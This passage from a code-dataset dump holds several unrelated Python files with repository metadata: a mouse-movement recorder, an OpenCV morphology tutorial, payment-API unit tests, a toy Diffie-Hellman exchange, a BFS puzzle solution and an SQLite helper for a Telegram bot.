cursor will be running to the left side of the screen.\n        Else, the cursor will be running to the right side of the screen.\n        :param hor_dist: The current distance traveled by the mouse (interval between last sample and current one)\n        \"\"\"\n        if hor_dist < 0:\n            self.mov_hor_dir = movement.LEFT\n            self.total_time_l_mov += self.delta_hor_mov\n            self.total_dist_l_mov += abs(hor_dist)\n            self.l_mov_count += 1\n        else:\n            self.mov_hor_dir = movement.RIGHT\n            self.total_time_r_mov += self.delta_hor_mov\n            self.total_dist_r_mov += abs(hor_dist)\n            self.r_mov_count += 1\n\n    def __set_ver_dist(self,\n                       ver_dist: int\n                       ):\n        \"\"\"\n        Set the vertical distance for the sample.\n        If the value is negative, the cursor will be running to the top side of the screen.\n        Else, the cursor will be running to the bottom side of the screen.\n        :param ver_dist: The current distance traveled by the mouse (interval between last sample and current one)\n        \"\"\"\n        if ver_dist < 0:\n            self.mov_ver_dir = movement.UP\n            self.total_time_u_mov += self.delta_ver_mov\n            self.total_dist_u_mov += abs(ver_dist)\n            self.u_mov_count += 1\n        else:\n            self.mov_ver_dir = movement.DOWN\n            self.total_time_d_mov += self.delta_ver_mov\n            self.total_dist_d_mov += abs(ver_dist)\n            self.d_mov_count += 1\n\n    def new_mouse_event_record(self,\n                               start_time: time,\n                               mouse_position: tuple\n                               ) -> pd.DataFrame:\n        \"\"\"\n        Save the event record, a single sample of the run, into the dataframe with all the information collected\n        :param start_time: When the record began\n        :param mouse_position: The current position of the cursor\n        :return: Dataframe that contains all the data stored until the method calls\n        \"\"\"\n        x_position, y_position = mouse_position\n        new_data = pd.DataFrame(\n            {'x': x_position,\n             'y': y_position,\n\n             'l_click': (1 if self.l_click else 0),\n             'r_click': (1 if self.r_click else 0),\n\n             'l_click_count': self.qt_l_click,\n             'r_click_count': self.qt_r_click,\n\n             'total_time_l_click': f'{self.total_time_l_click:.2f}',\n             'total_time_r_click': f'{self.total_time_r_click:.2f}',\n\n             'avg_time_l_click': f'{(self.total_time_l_click / (self.qt_r_click if self.qt_r_click > 0 else 1)):.2f}',\n             'avg_time_r_click': f'{(self.total_time_r_click / (self.qt_r_click if self.qt_r_click > 0 else 1)):.2f}',\n\n             'is_moving_horizontal': (1 if self.is_moving_hor else 0),\n             'is_moving_vertical': (1 if self.is_moving_ver else 0),\n\n             'horizontal_dist': (x_position - self.mov_hor_dist) if self.is_moving_hor else 0,\n             'vertical_dist': (y_position - self.mov_ver_dist) if self.is_moving_ver else 0,\n\n             'hor_movement_time': f'{(time.time() - self.delta_hor_mov):.2f}',\n             'ver_movement_time': f'{(time.time() - self.delta_ver_mov):.2f}',\n\n             'l_mov_count': self.l_mov_count,\n             'r_mov_count': self.r_mov_count,\n             'u_mov_count': self.u_mov_count,\n             'd_mov_count': self.d_mov_count,\n\n             'total_dist_l_mov': self.total_dist_l_mov,\n             'total_dist_r_mov': self.total_dist_r_mov,\n             'total_dist_u_mov': self.total_dist_u_mov,\n             'total_dist_d_mov': self.total_dist_d_mov,\n\n             'total_time_l_mov': f'{self.total_time_l_mov:.2f}',\n             'total_time_r_mov': f'{self.total_time_r_mov:.2f}',\n             'total_time_u_mov': f'{self.total_time_u_mov:.2f}',\n             'total_time_d_mov': f'{self.total_time_d_mov:.2f}',\n\n             'avg_time_l_mov': f'{(self.total_time_l_mov / (self.l_mov_count if self.l_mov_count > 0 else 1)):.2f}',\n             'avg_time_r_mov': f'{(self.total_time_r_mov / (self.r_mov_count if self.r_mov_count > 0 else 1)):.2f}',\n             'avg_time_u_mov': f'{(self.total_time_u_mov / (self.u_mov_count if self.u_mov_count > 0 else 1)):.2f}',\n             'avg_time_d_mov': f'{(self.total_time_d_mov / (self.d_mov_count if self.d_mov_count > 0 else 1)):.2f}',\n\n             'time': f'{(time.time() - start_time):.2f}',\n             'width': self.screen_width,\n             'height': self.screen_height\n             }, index=[len(self.mouse_event_dataframe)]\n        )\n\n        self.mouse_event_dataframe = pd.concat([self.mouse_event_dataframe, new_data],\n                                               ignore_index=True,\n                                               copy=False\n                                               )\n        return self.mouse_event_dataframe\n\n    def new_mouse_stats_record(self,\n                               start_time: time\n                               ) -> pd.DataFrame:\n        \"\"\"\n        Save the statistics record into the dataframe with all the metrics collected\n        :param start_time: When the record began\n        :return: Dataframe that contains all the metrics stored for the executed run\n        \"\"\"\n        new_data = pd.DataFrame(\n            {\n                'qt_l_click': self.qt_l_click,\n                'qt_r_click': self.qt_r_click,\n\n                'total_time_l_click': f'{self.total_time_l_click :.2f}',\n                'total_time_r_click': f'{self.total_time_r_click :.2f}',\n\n                'avg_time_l_click': f'{(self.total_time_l_click / (self.qt_r_click if self.qt_r_click > 0 else 1)):.2f}',\n                'avg_time_r_click': f'{(self.total_time_r_click / (self.qt_r_click if self.qt_r_click > 0 else 1)):.2f}',\n\n                'l_mov_count': self.l_mov_count,\n                'r_mov_count': self.r_mov_count,\n                'u_mov_count': self.u_mov_count,\n                'd_mov_count': self.d_mov_count,\n\n                'total_hor_dist': self.tot_hor_dist,\n                'total_ver_dist': self.tot_ver_dist,\n\n                'total_hor_time': f'{self.tot_hor_time:.2f}',\n                'total_ver_time': f'{self.tot_ver_time:.2f}',\n\n                'total_dist_l_mov': self.total_dist_l_mov,\n                'total_dist_r_mov': self.total_dist_r_mov,\n                'total_dist_u_mov': self.total_dist_u_mov,\n                'total_dist_d_mov': self.total_dist_d_mov,\n\n                'total_time_l_mov': f'{self.total_time_l_mov:.2f}',\n                'total_time_r_mov': f'{self.total_time_r_mov:.2f}',\n                'total_time_u_mov': f'{self.total_time_u_mov:.2f}',\n                'total_time_d_mov': f'{self.total_time_d_mov:.2f}',\n\n                'avg_time_l_mov': f'{(self.total_time_l_mov / (self.l_mov_count if self.l_mov_count > 0 else 1)):.2f}',\n                'avg_time_r_mov': f'{(self.total_time_r_mov / (self.r_mov_count if self.r_mov_count > 0 else 1)):.2f}',\n                'avg_time_u_mov': f'{(self.total_time_u_mov / (self.u_mov_count if self.u_mov_count > 0 else 1)):.2f}',\n                'avg_time_d_mov': f'{(self.total_time_d_mov / (self.d_mov_count if self.d_mov_count > 0 else 1)):.2f}',\n\n                'hor_speed': f'{(self.tot_hor_dist / self.tot_hor_time if self.tot_hor_time > 0 else 1):.2f}',\n                'ver_speed': f'{(self.tot_ver_dist / self.tot_ver_time if self.tot_ver_time > 0 else 1):.2f}',\n\n                'l_speed': f'{(self.total_dist_l_mov / self.total_time_l_mov if self.total_time_l_mov > 0 else 1):.2f}',\n                'r_speed': f'{(self.total_dist_r_mov / self.total_time_r_mov if self.total_time_r_mov > 0 else 1):.2f}',\n                'u_speed': f'{(self.total_dist_u_mov / self.total_time_u_mov if self.total_time_u_mov > 0 else 1):.2f}',\n                'd_speed': f'{(self.total_dist_d_mov / self.total_time_d_mov if self.total_time_d_mov > 0 else 1):.2f}',\n\n                'total_capture_time': f'{(time.time() - start_time) :.2f}'\n\n            }, index=[len(self.mouse_stats_dataframe)]\n        )\n\n        self.mouse_stats_dataframe = pd.concat([self.mouse_stats_dataframe, new_data],\n                                               ignore_index=True\n                                               )\n\n        return self.mouse_stats_dataframe\n    def __click_status(self):\n        \"\"\"\n        Check if a click is performed and record it on the dataframe\n        \"\"\"\n        if click_status_changed(win32api.GetKeyState(0x01), self.l_click):\n            if is_pressed(win32api.GetKeyState(0x01)):\n                self.delta_left_click = time.time()\n                self.l_click = True\n            else:\n                self.delta_left_click = time.time() - self.delta_left_click\n                self.total_time_l_click += self.delta_left_click\n                self.qt_l_click += 1\n                self.l_click = False\n\n        if click_status_changed(win32api.GetKeyState(0x02), self.r_click):\n            if is_pressed(win32api.GetKeyState(0x02)):\n                self.delta_right_click = time.time()\n                self.r_click = True\n            else:\n                self.delta_right_click = time.time() - self.delta_right_click\n                self.total_time_r_click += self.delta_right_click\n                self.qt_r_click += 1\n                self.r_click = False\n\n    def __movement_status(self,\n                          old_position: tuple,\n                          current_position: tuple\n                          ):\n        \"\"\"\n        Check if the mouse is moving and, if it is, which position\n        :param old_position: Where the mouse was on the last interaction\n        :param current_position: Where the mouse is on the current interaction\n        \"\"\"\n        x_old_position, y_old_position = old_position\n        x_current_position, y_current_position = current_position\n\n        if movement_status_changed(x_old_position,\n                                   x_current_position,\n                                   self.is_moving_hor\n                                   ):\n            if x_old_position != x_current_position:\n                self.delta_hor_mov = time.time()\n                self.mov_hor_dist = x_old_position\n                self.is_moving_hor = True\n            else:\n                self.delta_hor_mov = time.time() - self.delta_hor_mov\n                self.mov_hor_dist = x_current_position - self.mov_hor_dist\n                self.tot_hor_dist += abs(self.mov_hor_dist)\n                self.tot_hor_time += self.delta_hor_mov\n                self.is_moving_hor = False\n                self.__set_hor_dist(self.mov_hor_dist)\n\n        if movement_status_changed(y_old_position,\n                                   y_current_position,\n                                   self.is_moving_ver\n                                   ):\n            if y_old_position != y_current_position:\n                self.delta_ver_mov = time.time()\n                self.mov_ver_dist = y_old_position\n                self.is_moving_ver = True\n            else:\n                self.delta_ver_mov = time.time() - self.delta_ver_mov\n                self.mov_ver_dist = y_current_position - self.mov_ver_dist\n                self.tot_ver_dist += abs(self.mov_ver_dist)\n                self.tot_ver_time += self.delta_ver_mov\n                self.is_moving_ver = False\n                self.__set_ver_dist(self.mov_ver_dist)\n\n    def start_data_reading(self) -> pd.DataFrame:\n        \"\"\"\n        Control the samples collection and steps that should be analysed.\n        Check if click is being performed or the mouse is currently moving\n        :return: Dataframe with the samples collected for every event and Dataframe with the statistics collected for the entire run\n        \"\"\"\n\n        old_position = pgui.position()\n        delta_start = time.time()\n\n        for count in range(self.sample_size):\n            current_position = pgui.position()\n\n            self.__click_status()\n            self.__movement_status(old_position=old_position,\n                                   current_position=current_position\n                                   )\n\n            self.new_mouse_event_record(delta_start, current_position)\n\n            old_position = current_position\n            time.sleep(self.sample_collection_interval)\n\n        # FINAL DATA\n        self.new_mouse_stats_record(delta_start)\n        return self.mouse_event_dataframe, self.mouse_stats_dataframe\n\n    def run(self,\n            path: str = './record_data',\n            task: str = 'simple'\n            ):\n        \"\"\"\n        Execution method to simplify the usage. Call the method to start record a basic example with 2000 sample collects with a hundredth second interval\n        :param path: Where the file should be saved\n        :param task: Task recorded, used to name the file stored\n        \"\"\"\n        df_mouse_event, df_mouse_stats = self.start_data_reading()\n\n        save_data(data=df_mouse_event,\n                  path=path,\n                  file=f\"{task.replace(' ', '_')}_mouse_event.csv\"\n                  )\n\n        save_data(data=df_mouse_stats,\n                  path=path,\n                  file=f\"{task.replace(' ', '_')}_mouse_stats.csv\"\n                  )\n\n        time.sleep(self.interval_between_collection)\n\n\nif __name__ == '__main__':\n    data_gen = record(sample_size=100)\n\n    steps = 1\n\n    for step in range(steps):\n        data_gen.run()\n\n        print(f'step {step + 1} of {steps}')\n", "repo_name": "Ychristino/Mouse_Identity", "sub_path": "process/record.py", "file_name": "record.py", "file_ext": "py", "file_size_in_byte": 18688, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pyautogui.size", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 84, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 85, "usage_type": "call"}, {"api_name": "consts.movement.LEFT", "line_number": 158, "usage_type": "attribute"}, {"api_name": "consts.movement", "line_number": 158, "usage_type": "name"}, {"api_name": "consts.movement.RIGHT", "line_number": 163, "usage_type": "attribute"}, {"api_name": "consts.movement", "line_number": 163, "usage_type": "name"}, {"api_name": "consts.movement.UP", "line_number": 178, "usage_type": "attribute"}, {"api_name": "consts.movement", "line_number": 178, "usage_type": "name"}, {"api_name": "consts.movement.DOWN", "line_number": 183, "usage_type": "attribute"}, {"api_name": "consts.movement", "line_number": 183, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 199, "usage_type": "call"}, {"api_name": "time.time", "line_number": 221, "usage_type": "call"}, {"api_name": "time.time", "line_number": 222, "usage_type": "call"}, {"api_name": "time.time", "line_number": 244, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 250, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 191, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 264, "usage_type": "call"}, {"api_name": "time.time", "line_number": 309, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 314, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 258, "usage_type": "attribute"}, {"api_name": "win32api.GetKeyState", "line_number": 323, "usage_type": "call"}, {"api_name": "win32api.GetKeyState", "line_number": 324, "usage_type": "call"}, {"api_name": "time.time", "line_number": 325, "usage_type": "call"}, {"api_name": "time.time", "line_number": 328, "usage_type": "call"}, {"api_name": "win32api.GetKeyState", "line_number": 333, "usage_type": "call"}, {"api_name": "win32api.GetKeyState", "line_number": 334, "usage_type": "call"}, {"api_name": "time.time", "line_number": 335, "usage_type": "call"}, {"api_name": "time.time", "line_number": 338, "usage_type": "call"}, {"api_name": "time.time", "line_number": 360, "usage_type": "call"}, {"api_name": "time.time", "line_number": 364, "usage_type": "call"}, {"api_name": "time.time", "line_number": 376, "usage_type": "call"}, {"api_name": "time.time", "line_number": 380, "usage_type": "call"}, {"api_name": "pyautogui.position", "line_number": 394, "usage_type": "call"}, {"api_name": "time.time", "line_number": 395, "usage_type": "call"}, {"api_name": "pyautogui.position", "line_number": 398, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 408, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 387, "usage_type": "attribute"}, {"api_name": "process.data.save_data", "line_number": 425, "usage_type": "call"}, {"api_name": "process.data.save_data", "line_number": 430, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 435, "usage_type": "call"}]}
{"seq_id": "21005389040", "text": "import cv2\nimport numpy as np\n\ncap = cv2.VideoCapture(0)\n\nwhile True:\n    _, frame = cap.read()\n    hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n    # Morphological operations: Podstawowe operacje na obrazach : Erozja, dilation ,\n\n\n    lower_red = np.array([150, 150, 50])\n    upper_red = np.array([180, 255, 180])\n\n    mask = cv2.inRange(hsv, lower_red, upper_red)\n    # inRange zwraca 0 lub 1\n    res = cv2.bitwise_and(frame, frame, mask=mask)\n\n    kernel= np.ones((5,5),np.uint8)\n    # erosion - removing the pixel that is not fitting\n    erosion = cv2.erode(mask, kernel, iterations = 1)\n    # dilation - the opposite, emplifing the noise in the background\n    dilation = cv2.dilate(mask, kernel, iterations = 1)\n\n    # opening - removing false positives\n    opening = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel)\n\n    # closing - removing false negatives\n    closing = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel)\n\n\n    # cv2.imshow('res', res)\n    # cv2.imshow('frame', frame)\n    # cv2.imshow('erosion', erosion)\n    # cv2.imshow('dilation', dilation)\n    cv2.imshow('opening', opening)\n    cv2.imshow('closing', closing)\n    # smoothing - tracimy clarity ale jest troche lepiej\n    k = cv2.waitKey(5) & 0xFF\n    if k == 27:\n        break\ncv2.destroyAllWindows()\ncap.release()\n", "repo_name": "Michal-lis/python_playground", "sub_path": "Open_CV/tutorial9_morphological_transformations.py", "file_name": "tutorial9_morphological_transformations.py", "file_ext": "py", "file_size_in_byte": 1288, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cv2.VideoCapture", "line_number": 4, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 8, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2HSV", "line_number": 8, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 13, "usage_type": "call"}, {"api_name": "cv2.inRange", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 19, "usage_type": "attribute"}, {"api_name": "cv2.erode", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.dilate", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.morphologyEx", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.MORPH_OPEN", "line_number": 26, "usage_type": "attribute"}, {"api_name": "cv2.morphologyEx", "line_number": 29, "usage_type": "call"}, {"api_name": "cv2.MORPH_OPEN", "line_number": 29, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 37, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 42, "usage_type": "call"}]}
{"seq_id": "23748812526", "text": "import unittest\nimport requests\nfrom common.common_sql_execution import SqlExecution\n\n#还款申请单审核操作接口测试\nclass PaymentApplyTest (unittest.TestCase):\n\n\n    def setUp(self):\n        self.base_url = \"http://10.0.4.66:61020/api/factoring/payment/apply/audit/acceptance\"\n        self.case_name = \" \"\n        self.a = SqlExecution()\n        i = self.a.get_value(\"SELECT  t.`principal_interest_biz_bill_no` FROM  `t_loan_order` t  \"\n                 \"LEFT JOIN `t_loan_order_payment_apply_bill` t1    \"\n                 \"ON t.`business_order_id` = t1.`business_order_id` \"\n                 \"WHERE t.`status` = 9  \"\n                 \"AND t.`audit_status` !=2 \"\n                 \"AND t1.`sys_flag`=0 \"\n                 \"AND t.`principal_interest_biz_bill_no` IS NOT NULL \"\n                 \"GROUP BY t.`principal_interest_biz_bill_no`;\")\n\n        self.body_data = {\"bizBillNo\": i,\n                          \"auditStatus\": 3,\n                          \"userId\": 6,\n                          \"operatorName\": \"小木鸟\"\n                          }\n\n        self.body_wrong_data = {\"bizBillNo\": 0,\n                          \"auditStatus\": 3,\n                          \"userId\": 6,\n                          \"operatorName\": \"小木鸟\"\n                          }\n\n    def test_payemnt_apply(self):\n        '''付款申请单审核通过流程校验'''\n        r = requests.patch (self.base_url, data=self.body_data)\n        result = r.json ()\n        print (result)\n        self.assertEqual(result[\"code\"],-2)\n        self.assertEqual(result[\"msg\"],\"更新订单申请请佣状态失败\")\n\n    def test_payemnt_apply_noparams(self):\n        '''付款申请单审核无参数校验'''\n        r = requests.patch (self.base_url)\n        result = r.json ()\n        print (result)\n        self.assertEqual(result[\"code\"],-2)\n        self.assertEqual(result[\"msg\"],\"参数校验有误\")\n\n\n    def test_payemnt_apply_wrongparams(self):\n        '''付款申请单审核错误参数校验'''\n        r = requests.patch (self.base_url,data=self.body_wrong_data)\n        result = r.json ()\n        print (result)\n        self.assertEqual(result[\"code\"],-1)\n        self.assertEqual(result[\"msg\"],\"未查询到对应的付款申请单\")\n\n\nif __name__ == \"__main__\":\n    unittest.main\n", "repo_name": "slp520/AutoTest", "sub_path": "interface/payment_apply_test.py", "file_name": "payment_apply_test.py", "file_ext": "py", "file_size_in_byte": 2283, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "unittest.TestCase", "line_number": 6, "usage_type": "attribute"}, {"api_name": "common.common_sql_execution.SqlExecution", "line_number": 12, "usage_type": "call"}, {"api_name": "requests.patch", "line_number": 36, "usage_type": "call"}, {"api_name": "requests.patch", "line_number": 44, "usage_type": "call"}, {"api_name": "requests.patch", "line_number": 53, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 61, "usage_type": "attribute"}]}
{"seq_id": "35416025613", "text": "# 2DH key exchange for Initiator\nimport sys\nimport os\nimport socket\nimport time\nimport random\nfrom Crypto.Hash import SHA256\n\n# Create socket\ninit_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ninit_socket.bind((\"\", 9417))\ninit_socket.listen(5)\n\nprint (\"Ready to start KE\")\n\nwhile 1:\n    res_socket, address = init_socket.accept()\n    print (\"New Connection from \", address[0], \":\", address[1])\n    start_time = time.time()\n    # For 2DH Key exchange\n    q = 99877\n    G = 99875\n    x = random.randint(1, q-1)\n    alpha = pow(G, x)%q\n    \n    Alpha = str(alpha)\n    res_socket.send(Alpha.encode())\n    \n    # introduce session Key (not for security purposes)\n    urand = os.urandom(64)\n    session_id = SHA256.new(urand)\n    session_id = session_id.digest()\n    del(urand)\n    \n    time.sleep(1)\n    res_socket.send(session_id)\n    Beta = res_socket.recv(128).decode()\n    Beta = int(Beta)\n    \n    Ka = pow(Beta, x)%q\n    # discard x\n    del(x)\n    gamma = session_id + Ka.to_bytes(Ka.bit_length(), sys.byteorder)\n    \n    end_time = time.time()\n    elapsed_time = end_time - start_time\n    print(elapsed_time)\n    print (\"2DH Key Exchange Protocol Successful\")\n    \n    res_socket.close()\n    \n\ninit_socket.close()\n\n", "repo_name": "eshwang6/Projects", "sub_path": "TCSS581/2DHInitiator.py", "file_name": "2DHInitiator.py", "file_ext": "py", "file_size_in_byte": 1230, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "socket.socket", "line_number": 10, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 10, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 10, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 19, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 23, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 30, "usage_type": "call"}, {"api_name": "Crypto.Hash.SHA256.new", "line_number": 31, "usage_type": "call"}, {"api_name": "Crypto.Hash.SHA256", "line_number": 31, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 35, "usage_type": "call"}, {"api_name": "sys.byteorder", "line_number": 43, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 45, "usage_type": "call"}]}
{"seq_id": "12724240177", "text": "import sys\nfrom collections import deque\n\ninput = sys.stdin.readline\n\nN,L,R = map(int, input().split(\" \"))\nboard = []\nfor _ in range(N):\n    board.append(list(map(int, input().split(\" \"))))\n\ndef bfs(visited, board,newBoard, start):\n    q = deque()\n    q.append(start)\n    total = 0\n    count = 0\n    dist = []\n    while q:\n        node = q.popleft()\n        if visited[node[0]][node[1]]:\n            continue\n        count +=1\n        total += board[node[0]][node[1]]\n        \n        visited[node[0]][node[1]] = True\n        dist.append(node)\n        for next in [[node[0]-1, node[1]],[node[0]+1, node[1]],[node[0], node[1]-1],[node[0], node[1]+1]]:\n            if next[0] >= N or next[0] < 0:\n                continue\n            if next[1] >= N or next[1] < 0:\n                continue\n            if visited[next[0]][next[1]]:\n                continue\n            if L <= abs(board[next[0]][next[1]] - board[node[0]][node[1]]) <= R:\n                q.append(next)\n    if count == 1:\n        newBoard[start[0]][start[1]] = board[start[0]][start[1]]\n        return 0\n    for node in dist:\n        newBoard[node[0]][node[1]] = total//count\n    return total//count\n\nans = 0\nwhile True:\n    visited = [[False] * N for _ in range(N)]\n    newBoard = [[0] * N for _ in range(N)]\n    flag = False\n    for r in range(N):\n        for c in range(N):\n            if visited[r][c]:\n                continue\n            newNum = bfs(visited,board,newBoard, [r, c]) # visited에 이동된 인구수를 채운다\n            if newNum != 0:\n                flag = True\n    board = newBoard\n    if not flag:\n        break\n    # print(newBoard)\n    ans += 1\nprint(ans)\n\n            ", "repo_name": "leesunmin1231/Coding_test", "sub_path": "백준/랜덤/인구이동.py", "file_name": "인구이동.py", "file_ext": "py", "file_size_in_byte": 1667, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.stdin", "line_number": 4, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 12, "usage_type": "call"}]}
{"seq_id": "5484393096", "text": "\r\nimport sqlite3\r\nimport datetime\r\n\r\nconn = sqlite3.connect(\"lite.db\")\r\ncur=conn.cursor()\r\ncur.execute(\"  CREATE TABLE IF NOT EXISTS users_table_bot (user_id NUMERIC NOT NULL PRIMARY KEY, first_name TEXT, last_name TEXT, pending INTEGER, admin INTEGER, company TEXT) \")\r\ncur.execute(\"  CREATE TABLE IF NOT EXISTS edas_table_pdf (user_id NUMERIC NOT NULL PRIMARY KEY, inserttime timestamp, pdf_name TEXT) \")\r\n\r\nconn.commit()\r\nconn.close()\r\n\r\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\r\ndef insertUsers(user_id, first_name, last_name, pending=1, admin=0, company=\"non inserito\"):\r\n    conn = sqlite3.connect(\"lite.db\")\r\n    cur=conn.cursor()\r\n    cur.execute(\"INSERT OR IGNORE INTO users_table_bot VALUES (?,?,?,?,?,?)\", (user_id, first_name, last_name, pending, admin, company))\r\n    conn.commit()\r\n    conn.close()  \r\n\r\n\r\ndef linkPdf(user_id, insertTime, pdfName):\r\n    conn = sqlite3.connect(\"lite.db\")\r\n    cur=conn.cursor()\r\n    cur.execute(\"INSERT OR IGNORE INTO edas_table_pdf VALUES (?,?,?)\", (user_id, insertTime, pdfName))\r\n    conn.commit()\r\n    conn.close()  \r\n\r\ndef getUser(id):\r\n    conn = sqlite3.connect(\"lite.db\")\r\n    cur=conn.cursor()\r\n    cur.execute(\"SELECT * FROM users_table_bot where user_id =?\", (id,))\r\n    rows=cur.fetchall()\r\n    conn.close()\r\n    return rows\r\n\r\ndef setAdmin(id):\r\n    conn = sqlite3.connect(\"lite.db\")\r\n    cur=conn.cursor()\r\n    cur.execute(\"UPDATE users_table_bot SET admin=1,pending=0 WHERE user_id =?\", (id,))\r\n    conn.commit()\r\n    conn.close() \r\n\r\ndef setPending(id):\r\n    conn = sqlite3.connect(\"lite.db\")\r\n    cur=conn.cursor()\r\n    cur.execute(\"UPDATE users_table_bot SET pending=0 WHERE user_id =?\", (id,))\r\n    conn.commit()\r\n    conn.close() \r\n\r\n\r\ndef insert(link,table):\r\n    conn = sqlite3.connect(\"lite.db\")\r\n    cur=conn.cursor()\r\n    cur.execute(\"INSERT OR IGNORE INTO {} VALUES (?,?)\".format(table), (link, datetime.datetime.now()))\r\n    conn.commit()\r\n    conn.close()  \r\n\r\n\r\n\r\ndef view(table):\r\n    conn = sqlite3.connect(\"lite.db\")\r\n    cur=conn.cursor()\r\n    cur.execute(\"SELECT * FROM \" + table + \" LIMIT 12\")\r\n    rows=cur.fetchall()\r\n    conn.close()\r\n    print(rows)\r\n    return rows\r\n\r\n'''Inserisce una lista di links solo se non esistono'''\r\ndef insertIfNotExists(tableName, linksList):\r\n    list_with_new_to_return = []\r\n    conn = sqlite3.connect(\"lite.db\")\r\n    cur=conn.cursor()\r\n    for link in linksList: \r\n        cur.execute(\"SELECT links FROM {} WHERE links = ?\".format(tableName), (link,))\r\n        data=cur.fetchone()\r\n       \r\n        if data is None:\r\n            # se non esiste lo inserisce\r\n            insert(link, tableName)\r\n            # lo inserisco anche nella lista da restituire\r\n            list_with_new_to_return.append(link)\r\n\r\n    conn.close()\r\n    return list_with_new_to_return\r\n            \r\n\r\n\r\n\r\ndef viewUsers():\r\n    conn = sqlite3.connect(\"lite.db\")\r\n    cur=conn.cursor()\r\n    cur.execute(\"SELECT * FROM users_table_bot\")\r\n    rows=cur.fetchall()\r\n    conn.close()\r\n    return rows\r\n\r\ndef getPendingUsers():\r\n    conn = sqlite3.connect(\"lite.db\")\r\n    cur=conn.cursor()\r\n    cur.execute(\"SELECT * FROM users_table_bot WHERE pending = 1\")\r\n    rows=cur.fetchall()\r\n    conn.close()\r\n    return rows\r\n\r\ndef getAdminUsers():\r\n    conn = sqlite3.connect(\"lite.db\")\r\n    cur=conn.cursor()\r\n    cur.execute(\"SELECT * FROM users_table_bot WHERE admin = 1\")\r\n    rows=cur.fetchall()\r\n    conn.close()\r\n    return rows\r\n\r\n\r\n\r\n\r\ndef delete(item):\r\n    conn = sqlite3.connect(\"lite.db\")\r\n    cur=conn.cursor()\r\n    cur.execute(\"DELETE  FROM links_table_casa WHERE links=?\",(item,))\r\n    conn.commit()\r\n    conn.close()\r\n\r\n\r\n#delete('www.casa.it/appartamento/vendita/padova/feriole-selvazzano-dentro-100mq-31335019/')\r\n\r\n#  www.casa.it/appartamento/vendita/padova/feriole-selvazzano-dentro-100mq-31335019/\r\n\r\n\r\n\r\n\r\n#insert(\"https://docs.python.org/2/library/sqlite3.html#default-adapters-and-converters\", \"links_table_subito\")\r\n#print(view(\"links_table_subito\"))", "repo_name": "TomasMali/case_telegram_python", "sub_path": "sqlLite.py", "file_name": "sqlLite.py", "file_ext": "py", "file_size_in_byte": 4020, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlite3.connect", "line_number": 5, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 15, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 45, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 55, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 62, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 73, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 92, "usage_type": "call"}, {"api_name": 